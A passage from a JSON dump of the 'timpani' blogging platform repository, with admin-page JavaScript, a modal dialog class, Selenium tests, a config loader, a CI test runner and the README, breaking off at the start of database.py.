{\n\t\t\t\tchangePasswordModal.hide();\n\t\t\t}\n\t\t\telse {\n\t\t\t\twindow.location = \"/login\";\n\t\t\t}\n\t\t});\n\n\t\taddUserModal.element.addEventListener(\"neutral-pressed\", function(event) {\n\t\t\tcancelRequest(request, addUserModal.positiveButton);\n\t\t});\n\n\t\trequest.send(formData);\n\t});\n\n\tnewPasswordInput.addEventListener(\"input\", function(event) {\n\t\tnewPasswordInput.setCustomValidity(\"\");\n\t\tif (this.value !== confirmNewPasswordInput.value) {\n\t\t\tnewPasswordInput.setCustomValidity(PASSWORDS_DO_NOT_MATCH);\n\t\t}\n\t});\n\n\tconfirmNewPasswordInput.addEventListener(\"input\", function(event) {\n\t\tnewPasswordInput.setCustomValidity(\"\");\n\t\tif (this.value !== newPasswordInput.value) {\n\t\t\tnewPasswordInput.setCustomValidity(PASSWORDS_DO_NOT_MATCH);\n\t\t}\n\t});\n\n\tchangePasswordModal.element.addEventListener(\"positive-pressed\", function(event) {\n\t\tevent.preventDefault();\n\t\t//Through I would normally use createUserForm.submit(), this doesn't fire the \"submit\" event.\n\t\tfakeResetSubmitButton.click();\n\t});\n\n\tchangePasswordModal.element.addEventListener(\"hide\", function(event) {\n\t\tresetPasswordForm.reset();\n\t\tnewPasswordInput.setCustomValidity(\"\");\n\t});\n\n\teditPermissionsButton.addEventListener(\"click\", function(event) {\n\t\teditPermissionsModal.show();\n\t\tvar request = new XMLHttpRequest();\n\t\trequest.open(\"GET\", \"/get_user_info/\" + currentUserId, true);\n\t\trequest.addEventListener(\"load\", function(event) {\n\t\t\tvar res = JSON.parse(request.responseText);\n\t\t\tcanChangeSettingsEditCheckbox.checked = res.info.permissions.indexOf(\"can_change_settings\") > -1;\n\t\t\tcanWritePostsEditCheckbox.checked = res.info.permissions.indexOf(\"can_write_posts\") > -1;\n\t\t});\n\t\trequest.send();\n\t});\n\n\teditPermissionsModal.element.addEventListener(\"positive-pressed\", function(event){\n\t\teditPermissionsModal.positiveButton.classList.add(\"working\");\n\t\taddUserModal.positiveButton.disabled = true;\n\t\tevent.preventDefault();\n\t\tvar formData = new FormData();\n\t\tformData.append(\"userId\", currentUserId);\n\t\tif (canChangeSettingsEditCheckbox.checked) {\n\t\t\tformData.append(canChangeSettingsCheckbox.getAttribute(\"name\"), \"on\");\n\t\t}\n\t\tif (canWritePostsEditCheckbox.checked) {\n\t\t\tformData.append(canWritePostsCheckbox.getAttribute(\"name\"), \"on\");\n\t\t}\n\t\tvar request = new XMLHttpRequest();\n\t\trequest.open(\"POST\", \"/change_user_permisisons\", true);\n\t\trequest.addEventListener(\"load\", function(event) {\n\t\t\teditPermissionsModal.positiveButton.classList.remove(\"working\");\n\t\t\taddUserModal.positiveButton.disabled = false;\n\t\t\teditPermissionsModal.hide();\n\t\t});\n\n\t\taddUserModal.element.addEventListener(\"neutral-pressed\", function(event) {\n\t\t\tcancelRequest(request, addUserModal.positiveButton);\n\t\t});\n\n\t\trequest.send(formData);\n\t});\n\n\tdeleteUserButton.addEventListener(\"click\", function(event) {\n\t\tdeleteUsernameSpan.textContent = currentUsername;\n\t\tdeleteUserModal.show();\n\t});\n\n\tdeleteUserModal.element.addEventListener(\"positive-pressed\", function(event) {\n\t\tdeleteUserModal.positiveButton.classList.add(\"working\");\n\t\tdeleteUserModal.positiveButton.disabled = true;\n\t\tevent.preventDefault();\n\t\tvar request = new XMLHttpRequest();\n\t\trequest.open(\"POST\", \"/delete_user/\" + currentUserId, true);\n\t\trequest.addEventListener(\"load\", function(event) {\n\t\t\tvar res = JSON.parse(request.responseText);\n\t\t\tif (res.error === 0) {\n\t\t\t\tdeleteUserModal.positiveButton.classList.remove(\"working\");\n\t\t\t\tdeleteUserModal.positiveButton.disabled = false;\n\t\t\t\tdeleteUserModal.hide();\n\t\t\t\tuserInfoModal.hide();\n\t\t\t\tvar element = usersList.querySelector(\"li.user[user_id = \\\"\" + currentUserId +\"\\\"]\");\n\n\t\t\t\telement.addEventListener(\"transition-end\", function(event) {\n\t\t\t\t\tthis.parentNode.removeChild(element);\n\t\t\t\t});\n\n\t\t\t\telement.style.opacity = 0;\n\t\t\t\telement.style.height = \"0px\";\n\t\t\t\twindow.getComputedStyle(li).opacity;\n\t\t\t\twindow.getComputedStyle(li).height;\n\t\t\t}\n\t\t\telse {\n\t\t\t\twindow.location = \"/login\";\n\t\t\t}\n\t\t});\n\t\trequest.send();\n\t});\n});\n"
},
{
"alpha_fraction": 0.6902821063995361,
"alphanum_fraction": 0.7078369855880737,
"avg_line_length": 35.25,
"blob_id": "2b76a82f04557aace86381c058ae15865257174a",
"content_id": "766a874aadc0566fe6e427b2b953a8d0de09300d",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1595,
"license_type": "permissive",
"max_line_length": 78,
"num_lines": 44,
"path": "/tests/tests/logout.py",
"repo_name": "ollien/timpani",
"src_encoding": "UTF-8",
"text": "from selenium.common import exceptions\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions\n\nLOGIN_TITLE = \"Login - Timpani\"\nMANAGE_TITLE = \"Manage Blog - Timpani\"\n\ndef test(driver, username, password):\n driver.get(\"http://127.0.0.1:8080/login\")\n\n (WebDriverWait(driver, 10)\n .until(expected_conditions.title_contains(\"Timpani\")))\n \n assert driver.title == LOGIN_TITLE, \"Title is %s\" % driver.title\n\n loginForm = driver.find_element_by_id(\"login-form\")\n usernameField = driver.find_element_by_id(\"username-field\")\n passwordField = driver.find_element_by_id(\"password-field\")\n usernameField.send_keys(username)\n passwordField.send_keys(password)\n loginForm.submit()\n\n (WebDriverWait(driver, 10)\n .until_not(expected_conditions.title_is(LOGIN_TITLE)))\n\n assert driver.title == MANAGE_TITLE, \"Title is %s\" % driver.title\n\n logoutButton = driver.find_element_by_css_selector(\"button.logout-button\")\n logoutButton.click()\n\n (WebDriverWait(driver, 10)\n .until_not(expected_conditions.title_is(MANAGE_TITLE)))\n\n assert driver.title == LOGIN_TITLE, \"Title is %s\" % driver.title\n\n #Check that the user has no session in their cache.\n #This can be confirmed by accessing a restricted page,\n #such as manage.\n driver.get(\"http://127.0.0.1:8080/manage\")\n (WebDriverWait(driver, 10)\n .until(expected_conditions.title_contains(\"Timpani\")))\n\n assert driver.title == LOGIN_TITLE, \"Title is %s\" % driver.title\n"
},
{
"alpha_fraction": 0.6781609058380127,
"alphanum_fraction": 0.6905747056007385,
"avg_line_length": 35.71186447143555,
"blob_id": "220547b3b7f8e902844df83561350de1502aa0ed",
"content_id": "35455be8ca94d91f24300214d4ac8841b4949e34",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2175,
"license_type": "permissive",
"max_line_length": 76,
"num_lines": 59,
"path": "/tests/tests/query.py",
"repo_name": "ollien/timpani",
"src_encoding": "UTF-8",
"text": "import selenium\nfrom selenium.common import exceptions\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions\nimport sqlalchemy\nfrom timpani import database\nfrom timpani import settings\n\ndef test(driver):\n databaseConnection = database.DatabaseConnection()\n driver.get(\"http://127.0.0.1:8080\")\n #Test individual post\n permalink = driver.find_element_by_css_selector(\"a.timestamp-link\")\n permalink.click()\n postElement = driver.find_element_by_css_selector(\"li.post\")\n postId = postElement.get_attribute(\"post-id\")\n query = (databaseConnection.session\n .query(database.tables.Post)\n .filter(database.tables.Post.id == postId))\n\n assert query.count() == 1\n\n post = query.first()\n titleElement = postElement.find_element_by_css_selector(\"h2.post-title\")\n\n assert titleElement.text == post.title\n\n driver.get(\"http://127.0.0.1:8080\")\n tagElement = driver.find_element_by_css_selector(\"li.tag\")\n tag = tagElement.text\n tag = tag[1:] if tag[0] == \"#\" else tag\n tagElement.click()\n postElements = driver.find_elements_by_css_selector(\"li.post\")\n query = (databaseConnection.session\n .query(database.tables.TagRelation.post_id)\n .join(database.tables.Tag,\n database.tables.Tag.id == database.tables.TagRelation.tag_id)\n .join(database.tables.Post,\n database.tables.Post.id == database.tables.TagRelation.post_id)\n .filter(database.tables.Tag.name == tag.lower())\n .order_by(sqlalchemy.desc(database.tables.Post.time_posted))\n .limit(settings.getSettingValue(\"posts_per_page\")))\n\n #There must be at least one post with a tag\n assert query.count() > 0 \n\n postIds = query.all()\n #Resolve sqlalchemy tuples\n postIds = [postId[0] for postId in postIds]\n\n assert len(postIds) == len(postElements)\n\n for postElement in postElements:\n postId = postElement.get_attribute(\"post-id\")\n assert int(postId) in postIds\n postIds.remove(int(postId))\n\n assert len(postIds) == 0, \"postIds is \" % str(postIds)\n \n"
},
{
"alpha_fraction": 0.7157894968986511,
"alphanum_fraction": 0.821052610874176,
"avg_line_length": 10.875,
"blob_id": "00039ef845d2ba43842b4b6753449585b504f4b2",
"content_id": "e8f5d5e8c38652117a32892a6b939f27a2f82416",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Text",
"length_bytes": 95,
"license_type": "permissive",
"max_line_length": 16,
"num_lines": 8,
"path": "/requirements.txt",
"repo_name": "ollien/timpani",
"src_encoding": "UTF-8",
"text": "flask\nwerkzeug>=0.11.1\nsqlalchemy\npsycopg2\nbcrypt\npython-magic\nbeautifulsoup4\nselenium==2.46.0\n"
},
{
"alpha_fraction": 0.6451267600059509,
"alphanum_fraction": 0.6472688317298889,
"avg_line_length": 27.87628936767578,
"blob_id": "17de6a9452bc10899e1e112841cf11444b7776d6",
"content_id": "a2596bac436fb2296fc501f6e714554d2107a152",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "JavaScript",
"length_bytes": 5602,
"license_type": "permissive",
"max_line_length": 165,
"num_lines": 194,
"path": "/web-src/js/modal.js",
"repo_name": "ollien/timpani",
"src_encoding": "UTF-8",
"text": "/*jshint eqnull: true, eqeqeq: true, expr: true*/\n\nfunction Modal(element, config) {\n\tthis.overlay = document.createElement(\"div\");\n\tthis.overlay.classList.add(\"modal-overlay\");\n\tthis.overlay.addEventListener(\"transitionend\", function(event) {\n\t\tthis.parentNode.removeChild(this);\n\t});\n\tthis.zIndex = -1;\n\n\tif (config == null) {\n\t\tthis.config = { keyboard: true };\n\t}\n\telse {\n\t\tthis.config = config;\n\t}\n\n\n\tif (element instanceof HTMLElement) {\n\t\tthis.element = element;\n\t}\n\telse {\n\t\tthis.element = document.querySelector(element);\n\t\tif (this.element == null) {\n\t\t\tthrow new Error(\"element does not exist.\");\n\t\t}\n\t\telse if (!this.element.classList.contains(\"modal\")) {\n\t\t\tthrow new Error(\"element must have class modal\");\n\t\t}\n\t}\n\n\tbuttonsEl = this.element.querySelector(\".modal-buttons\");\n\n\tif (buttonsEl != null) {\n\t\tbuttons = Array.prototype.slice.call(buttonsEl.childNodes);\n\t\tvar _this = this;\n\t\tdocument.addEventListener(\"keyup\", function(event) {\n\t\t\tif (_this.config.keyboard) {\n\t\t\t\tif (event.keyCode === 27 && _this.element.classList.contains(\"active\") && _this.zIndex === Modal.highestZIndex) {\n\t\t\t\t\t//Escape\n\t\t\t\t\t//IE Proofing\n\t\t\t\t\tevent.preventDefault ? event.preventDefault() : (event.returnValue = false);\n\t\t\t\t\tevent.stopImmediatePropagation();\n\t\t\t\t\t_this.hide();\n\t\t\t\t}\n\t\t\t}\n\t\t});\n\t\tbuttons.forEach(function(button) {\n\t\t\t//Checks if the button is actually an element.\n\t\t\tif (button.nodeType === 1) {\n\t\t\t\tif (button.classList.contains(\"positive\")) {\n\t\t\t\t\tdocument.addEventListener(\"keyup\", function(event) {\n\t\t\t\t\t\tif (_this.config.keyboard) {\n\t\t\t\t\t\t\tif (event.keyCode === 13 && _this.element.classList.contains(\"active\") && _this.zIndex === Modal.highestZIndex) {\n\t\t\t\t\t\t\t\t//Enter\n\t\t\t\t\t\t\t\t//IE Proofing\n\t\t\t\t\t\t\t\tevent.preventDefault ? event.preventDefault() : (event.returnValue = false);\n\t\t\t\t\t\t\t\tevent.stopImmediatePropagation();\n\t\t\t\t\t\t\t\tbutton.click();\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t});\n\t\t\t\t}\n\n\t\t\t\tbutton.addEventListener(\"click\", function(event) {\n\t\t\t\t\tvar mainEvent = null;\n\t\t\t\t\tvar secondaryEvent = null;\n\n\t\t\t\t\ttry {\n\t\t\t\t\t\tmainEvent = new Event(\"pressed\", { cancelable: true });\n\t\t\t\t\t}\n\t\t\t\t\t//Legacy support for IE and the likes\n\t\t\t\t\tcatch (e) {\n\t\t\t\t\t\tmainEvent = document.createEvent(\"event\");\n\t\t\t\t\t\tmainEvent.initEvent(\"pressed\", false, true);\n\t\t\t\t\t}\n\n\t\t\t\t\tmainEvent.el = this;\n\n\t\t\t\t\tif (this.classList.contains(\"positive\")) {\n\t\t\t\t\t\ttry {\n\t\t\t\t\t\t\tsecondaryEvent = new Event(\"positive-pressed\", { cancelable: true });\n\t\t\t\t\t\t}\n\t\t\t\t\t\t//Legacy support for IE and the likes\n\t\t\t\t\t\tcatch (e) {\n\t\t\t\t\t\t\tsecondaryEvent = document.createEvent(\"event\");\n\t\t\t\t\t\t\tsecondaryEvent.initEvent(\"positive-pressed\", false, true);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\telse if (this.classList.contains(\"negative\")) {\n\t\t\t\t\t\tsecondaryEvent = new Event(\"negative-pressed\", { cancelable: true });\n\t\t\t\t\t\ttry {\n\t\t\t\t\t\t\tsecondaryEvent = new Event(\"negative-pressed\", { cancelable: true });\n\t\t\t\t\t\t}\n\t\t\t\t\t\t//Legacy support for IE and the likes\n\t\t\t\t\t\tcatch (e) {\n\t\t\t\t\t\t\tsecondaryEvent = document.createEvent(\"event\");\n\t\t\t\t\t\t\tsecondaryEvent.initEvent(\"negative-pressed\", false, true);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\telse if (this.classList.contains(\"neutral\")) {\n\t\t\t\t\t\tsecondaryEvent = new Event(\"neutral-pressed\", { cancelable: true });\n\t\t\t\t\t\ttry {\n\t\t\t\t\t\t\tsecondaryEvent = new Event(\"neutral-pressed\", { cancelable: true });\n\t\t\t\t\t\t}\n\t\t\t\t\t\t//Legacy support for IE and the likes\n\t\t\t\t\t\tcatch (e) {\n\t\t\t\t\t\t\tsecondaryEvent = document.createEvent(\"event\");\n\t\t\t\t\t\t\tsecondaryEvent.initEvent(\"neutral-pressed\", false, true);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\t_this.element.dispatchEvent(mainEvent);\n\n\t\t\t\t\tif (secondaryEvent !== null) {\n\t\t\t\t\t\tsecondaryEvent.el = this;\n\t\t\t\t\t\t_this.element.dispatchEvent(secondaryEvent);\n\t\t\t\t\t}\n\t\t\t\t\t//event.returnValue is IE Proofing\n\t\t\t\t\tif (!((mainEvent.defaultPrevented || !mainEvent.returnValue) || (secondaryEvent != null && (secondaryEvent.defaultPrevented || !secondaryEvent.returnValue)))) {\n\t\t\t\t\t\t_this.hide();\n\t\t\t\t\t}\n\t\t\t\t});\n\t\t\t}\n\t\t});\n\t}\n}\n\nModal.prototype.show = function() {\n\tvar event = null;\n\ttry {\n\t\tevent = new Event(\"show\", { cancelable: true });\n\t}\n\tcatch (e) {\n\t\t//Legacy support for IE and the likes.\n\t\tevent = document.createEvent(\"event\");\n\t\tevent.initEvent(\"show\", false, true);\n\t}\n\n\tthis.element.dispatchEvent(event);\n\t//event.returnValue is IE Proofing\n\tif (!event.defaultPrevented || event.returnValue) {\n\t\tif (!this.element.classList.contains(\"active\")) {\n\t\t\tthis.overlay.style.zIndex = Modal.highestZIndex;\n\t\t\tthis.element.style.zIndex = Modal.highestZIndex + 1;\n\t\t\tModal.highestZIndex += 2;\n\t\t\tthis.zIndex = Modal.highestZIndex;\n\t\t}\n\t\tthis.element.classList.add(\"active\");\n\t\tdocument.body.appendChild(this.overlay);\n\t\tthis.overlay.classList.add(\"active\");\n\t}\n};\n\nModal.prototype.hide = function() {\n\tvar event = null;\n\ttry {\n\t\tevent = new Event(\"hide\", { cancelable: true });\n\t}\n\n\tcatch (e){\n\t\tevent = document.createEvent(\"event\");\n\t\tevent.initEvent(\"hide\", false, true);\n\t}\n\n\tthis.element.dispatchEvent(event);\n\t//event.returnValue is IE Proofing\n\tif (!event.defaultPrevented || event.returnValue) {\n\t\tif (this.element.classList.contains(\"active\")) {\n\t\t\tthis.overlay.style.zIndex = \"\";\n\t\t\tthis.element.style.zIndex = \"\";\n\t\t\tModal.highestZIndex -= 2;\n\t\t}\n\t\tthis.element.classList.remove(\"active\");\n\t\tvar count = 0;\n\t\tthis.overlay.classList.remove(\"active\");\n\t}\n};\n\nModal.prototype.toggle = function() {\n\tif (this.element.classList.contains(\"active\")) {\n\t\tthis.hide();\n\t}\n\telse {\n\t\tthis.show();\n\t}\n};\n\nModal.prototype.addEventListener = function() {\n\tthis.element.addEventListener.apply(this, arguments);\n};\n\n//Stores the highest ZIndex of any modal. -1 indicates that there is no active modal.\nModal.highestZIndex = 0;\n"
},
{
"alpha_fraction": 0.7621247172355652,
"alphanum_fraction": 0.7644341588020325,
"avg_line_length": 38.3636360168457,
"blob_id": "66df0eea3214ba60e33eef8290880a65064f4381",
"content_id": "98182d79a210940a7f81fe7b1f93473898bdfefe",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 433,
"license_type": "permissive",
"max_line_length": 79,
"num_lines": 11,
"path": "/tests/travis-setup.py",
"repo_name": "ollien/timpani",
"src_encoding": "UTF-8",
"text": "import bcrypt\nimport sys\nsys.path.insert(0, \"..\")\nimport timpani\n\nconnection = timpani.database.DatabaseConnection()\ntimpani.database.ConnectionManager.addConnection(connection, \"main\")\ntimpani.auth.createUser(\"tests\", \"Timpani Tests\", \"password\", True, True)\ntimpani.auth.createUser(\"testsAuthor\", \"Timpani Auhtor\", \"password\", False, True)\ntimpani.auth.createUser(\"testsAdmin\", \"Timpani Admin\", \"password\", True, False)\nconnection.closeSession()\n"
},
{
"alpha_fraction": 0.7764706015586853,
"alphanum_fraction": 0.7764706015586853,
"avg_line_length": 22.18181800842285,
"blob_id": "3805c56766ebbc3631018518ef9d0618cd7fe7fd",
"content_id": "b988c921a480cc839af7aa65636fe594328f973e",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 255,
"license_type": "permissive",
"max_line_length": 54,
"num_lines": 11,
"path": "/timpani/wsgi.py",
"repo_name": "ollien/timpani",
"src_encoding": "UTF-8",
"text": "from . import timpani\nfrom . import database\nimport atexit\n\ndef shutdown():\n print(\"[Timpani] Closing database connection\")\n database.ConnectionManager.closeConnection(\"main\")\n\natexit.register(shutdown)\n\napplication = timpani.run(startServer=False)\n"
},
{
"alpha_fraction": 0.5673704147338867,
"alphanum_fraction": 0.567754328250885,
"avg_line_length": 35.69013977050781,
"blob_id": "dcf6b784bc6ab564165d82f7ef7e1140b555b859",
"content_id": "eb8b10067f8fda24383c69556e8526eebb0a5d4a",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2605,
"license_type": "permissive",
"max_line_length": 95,
"num_lines": 71,
"path": "/timpani/configmanager/configmanager.py",
"repo_name": "ollien/timpani",
"src_encoding": "UTF-8",
"text": "import json\nimport os\nimport os.path\n\nclass ConfigManager():\n _caches = {}\n def __init__(self, configPath = \"configs/\", overrideCache = False):\n if os.path.isdir(configPath):\n self.configPath = configPath\n elif os.path.isfile(configPath):\n raise ValueError(\"configPath is a file, expected directory.\")\n else:\n raise ValueError(\"configPath does not eixst.\")\n\n if not overrideCache and configPath in ConfigManager._caches:\n self._cache = ConfigManager._caches['path']\n else:\n self._cache = {}\n\n self._configs = {}\n self._syncCache()\n self.getConfigs()\n\n def __getitem__(self, key):\n try:\n return self._configs[key]\n except KeyError:\n self._syncCache()\n return self._configs[key]\n\n #Recursive function to get all files. Sub is the relative path from the root config dir.\n def getConfigs(self, path = None, sub = \"\", overrideCache = False):\n if path == None:\n path = self.configPath\n files = os.listdir(path)\n for item in files:\n #Ignore hidden files.\n if item[0] == \".\":\n continue\n\n #Remove the .json handle from the name\n name = item.replace(\".json\", \"\")\n finalName = os.path.join(sub, name)\n\n #If it's a directory, run this function again within that directory\n if os.path.isdir(os.path.join(path, item)):\n self.getConfigs(path = os.path.join(path, item), sub = os.path.join(sub, item))\n #If we already have something from the cache, or added in previously, skip it.\n elif overrideCache or finalName not in self._configs:\n #Read in the file\n f = open(os.path.join(path, item), \"r\")\n #Check if it's JSON. If it is, it will be parsed.\n parsed = self.parseConfig(f.read())\n f.close()\n if parsed != None:\n self.addConfig(finalName, parsed)\n #Returns parsed JSON if config is valid JSON, otherwise, return Noen\n def parseConfig(self, config):\n try:\n return json.loads(config)\n except ValueError:\n return None\n\n def addConfig(self, name, contents):\n self._configs[name] = contents\n self._cache[name] = contents\n\n def _syncCache(self):\n unmatchedKeys = [key for key in self._cache.keys() if key not in self._configs]\n for key in unmatchedKeys:\n self._configs[key] = self._cache[key]\n"
},
{
"alpha_fraction": 0.7615176439285278,
"alphanum_fraction": 0.7615176439285278,
"avg_line_length": 40,
"blob_id": "b1ec88e23832a66db681e59531b976e711952b02",
"content_id": "238e868698b5ad8a441b0e444067454fb9341711",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 369,
"license_type": "permissive",
"max_line_length": 171,
"num_lines": 9,
"path": "/README.md",
"repo_name": "ollien/timpani",
"src_encoding": "UTF-8",
"text": "# Timpani \n\n[![Build Status] [travis-badge]](https://travis-ci.org/ollien/timpani)\n\nA *work in progress* blogging platform.\n\nI was tired of using these big and hefty blogging platforms like Wordpress, so I decided to make my own. Lightweight and easy to use, Timpani handles your needs with ease.\n\n[travis-badge]: https://travis-ci.org/ollien/timpani.svg?branch=master\n"
},
{
"alpha_fraction": 0.738095223903656,
"alphanum_fraction": 0.7440476417541504,
"avg_line_length": 20,
"blob_id": "863cba69829bc7648254ca6c70edbe68edc6c0ce",
"content_id": "ff2061282071de802e80084a99b2b3414ee9314d",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 168,
"license_type": "permissive",
"max_line_length": 25,
"num_lines": 8,
"path": "/tests/tests/__init__.py",
"repo_name": "ollien/timpani",
"src_encoding": "UTF-8",
"text": "import sys\nsys.path.insert(0, \"..\")\nfrom . import login\nfrom . import addpost\nfrom . import logout\nfrom . import permissions\nfrom . import settings\nfrom . import query\n"
},
{
"alpha_fraction": 0.6981246471405029,
"alphanum_fraction": 0.7065940499305725,
"avg_line_length": 34.17021179199219,
"blob_id": "3e06a1adc075a6aaa332b2b00ddf750ad2eaf902",
"content_id": "94f885f44bac08cd17fbeb9df04c439b3f933dff",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1653,
"license_type": "permissive",
"max_line_length": 101,
"num_lines": 47,
"path": "/timpani/timpani.py",
"repo_name": "ollien/timpani",
"src_encoding": "UTF-8",
"text": "import os\nimport os.path\nimport binascii\nimport json\nimport sqlalchemy\nfrom . import database\nfrom . import configmanager\nfrom . import webserver\nfrom . import settings\n\nCONFIG_PATH=os.path.abspath(os.path.join(os.path.dirname(__file__), \"../configs\"))\n\ndef run(host=\"0.0.0.0\", port=8080, startServer=True):\n #Setup Config manager\n configs = configmanager.ConfigManager(CONFIG_PATH)\n databaseConfig = configs[\"database\"]\n authConfig = configs[\"auth\"]\n if authConfig[\"signing_key\"] == \"my_secret_key\":\n authConfig[\"signing_key\"] = binascii.hexlify(os.urandom(1024))\n authConfig[\"signing_key\"] = authConfig[\"signing_key\"].decode(\"utf-8\")\n f = open(os.path.join(CONFIG_PATH, \"auth.json\"), \"w\")\n f.write(json.dumps(authConfig))\n f.close()\n configs.getConfigs()\n\n print(\"[Timpani] Configs loaded.\")\n\n #Register a connection to our database\n databaseConnection = database.DatabaseConnection(\n connectionString = databaseConfig[\"connection_string\"])\n database.ConnectionManager.addConnection(databaseConnection, \"main\")\n print(\"[Timpani] Database connection opened.\")\n\n #Setup all default settings\n allSettings = settings.getAllSettings()\n neededSettings = [setting for setting in settings.DEFAULT_SETTINGS if setting not in allSettings]\n for setting in neededSettings:\n settings.setSettingValue(setting, settings.DEFAULT_SETTINGS[setting])\n\n if len(neededSettings) > 0:\n databaseConnection.session.commit()\n databaseConnection.closeSession()\n\n if startServer:\n webserver.start(host=host, port=port)\n else:\n return webserver.app\n"
},
{
"alpha_fraction": 0.7272727489471436,
"alphanum_fraction": 0.7272727489471436,
"avg_line_length": 33.375,
"blob_id": "adec608f50a3f7b8b7dc2102fcfe46559aba7f56",
"content_id": "7e4bfc658f34d2710ccee0e206dc2e01ae25b290",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "JavaScript",
"length_bytes": 275,
"license_type": "permissive",
"max_line_length": 64,
"num_lines": 8,
"path": "/web-src/js/posts.js",
"repo_name": "ollien/timpani",
"src_encoding": "UTF-8",
"text": "/*jshint eqnull: true, eqeqeq: true */\n\ndocument.addEventListener(\"DOMContentLoaded\", function(event) {\n\tvar code = document.querySelectorAll(\"[class*=\\\"language-\\\"]\");\n\tArray.prototype.slice.call(code).forEach(function(element) {\n\t\tPrism.highlightElement(element);\n\t});\n});\n"
},
{
"alpha_fraction": 0.6468520164489746,
"alphanum_fraction": 0.6650686860084534,
"avg_line_length": 38.11249923706055,
"blob_id": "6da1a59c211b10665bf78cc84238b8d0bee01748",
"content_id": "66e1dc2a764d11553fa35c99da3d27b9dd52e767",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3129,
"license_type": "permissive",
"max_line_length": 138,
"num_lines": 80,
"path": "/tests/tests.py",
"repo_name": "ollien/timpani",
"src_encoding": "UTF-8",
"text": "from selenium import webdriver\nimport os\nimport sys\nimport traceback\nimport shutil\nimport tests\n\nbrowsers = [\n {\"browserName\": \"chrome\", \"platform\": \"Windows 7\", \"version\": \"45.0\"},\n {\"browserName\": \"chrome\", \"platform\": \"Windows 7\", \"version\": \"44.0\"},\n {\"browserName\": \"chrome\", \"platform\": \"Windows 7\", \"version\": \"43.0\"},\n\n {\"browserName\": \"firefox\", \"platform\": \"Windows 7\", \"version\": \"40.0\"},\n {\"browserName\": \"firefox\", \"platform\": \"Windows 7\", \"version\": \"39.0\"},\n {\"browserName\": \"firefox\", \"platform\": \"Windows 7\", \"version\": \"38.0\"},\n\n {\"browserName\": \"internet explorer\", \"platform\": \"Windows 7\", \"version\": \"11.0\"},\n {\"browserName\": \"internet explorer\", \"platform\": \"Windows 7\", \"version\": \"10.0\"},\n\n {\"browserName\": \"opera\", \"platform\": \"Windows 7\", \"version\": \"12.12\"}\n]\n\ndefault_capabilities = {}\ndefault_capabilities[\"javascriptEnabled\"] = True\nusername = os.environ[\"SAUCE_USERNAME\"]\naccess_key = os.environ[\"SAUCE_ACCESS_KEY\"]\ndefault_capabilities[\"tunnel-identifier\"] = os.environ[\"TRAVIS_JOB_NUMBER\"]\ndefault_capabilities[\"build\"] = os.environ[\"TRAVIS_BUILD_NUMBER\"]\nurl = \"%s:%s@localhost:4445\" % (username, access_key)\n\ndef printTestResult(message, secondaryMessage, ansi):\n #Determine the number of spaces needed to float the secondary message to the right\n spaces = shutil.get_terminal_size().columns - (len(message) + len(secondaryMessage) + 2)\n print(message, end = \"\")\n print(\" \" * spaces, end = \"\")\n print(\"[%s\" % ansi, end = \"\")\n print(secondaryMessage, end = \"\")\n print(\"%s]\" % \"\\033[0m\")\n\ndef passTest(testName):\n printTestResult(testName, \"pass\", \"\\033[32m\")\n\ndef failTest(testName):\n global allTestsPass\n\n allTestsPass = False\n printTestResult(testName, \"fail\", \"\\033[31m\")\n\nresults = []\n\ndef runTest(name, capabilities, method, *args, **kwargs):\n capabilities[\"tags\"] = [name, ]\n driver = webdriver.Remote(desired_capabilities=capabilities, command_executor=\"http://%s/wd/hub\" % url)\n try:\n method(driver, *args, **kwargs)\n passTest(name)\n except:\n traceback.print_exc()\n failTest(name)\n driver.close()\n driver.quit()\n return False\n driver.close()\n driver.quit()\n return True\n\nfor browser in browsers:\n capabilities = default_capabilities.copy()\n capabilities.update(browser)\n print(\"Running tests on %s v%s\" % (browser[\"browserName\"], browser[\"version\"]))\n results.append(runTest(\"Login test\", capabilities, tests.login.test, \"tests\", \"password\"))\n results.append(runTest(\"Add Post test\", capabilities, tests.addpost.test, \"tests\", \"password\"))\n results.append(runTest(\"Query test\", capabilities, tests.query.test))\n results.append(runTest(\"Logout test\", capabilities, tests.logout.test, \"tests\", \"password\"))\n results.append(runTest(\"Permissions test\", capabilities, tests.permissions.test, \"testsAuthor\", \"password\", \"testsAdmin\", \"password\"))\n results.append(runTest(\"Settings test\", capabilities, tests.settings.test, \"tests\", \"password\"))\n\nif False in results:\n #Will allow travis tests to be marked as failed.\n sys.exit(1)\n"
},
{
"alpha_fraction": 0.6362708210945129,
"alphanum_fraction": 0.6369513273239136,
"avg_line_length": 37.155845642089844,
"blob_id": "ef064b5b377bcaa5eb0ef3aa0c4e3cdd3e97de51",
"content_id": "29009d985d006192b1bdb036ad662d830b74792f",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2939,
"license_type": "permissive",
"max_line_length": 103,
"num_lines": 77,
"path": "/timpani/database.py",
"repo_name": "ollien/timpani",
